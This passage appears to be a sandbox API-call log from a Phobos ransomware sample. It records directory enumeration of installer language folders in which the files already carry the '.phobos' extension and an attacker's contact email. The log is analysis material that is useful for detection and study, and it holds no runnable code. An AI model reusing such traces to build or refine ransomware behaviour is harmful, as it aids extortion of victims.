ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.271] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.271] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.273] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.273] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0124.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.274] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.274] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.274] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed220f6c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed220f6c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.275] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.275] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.275] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.275] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.275] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0124.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.277] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.277] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed45d258, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.277] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.277] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.277] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.277] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.278] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.278] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0124.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.280] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.280] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8fbb88, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.280] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8fbb88, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8fbb88, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.280] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.280] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.280] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.281] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.281] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0124.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.282] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.282] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.283] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.283] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.283] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0124.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.285] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.285] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.286] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.286] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0124.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.287] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.287] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.287] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda53095, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda53095, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.288] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3c3f138 | out: 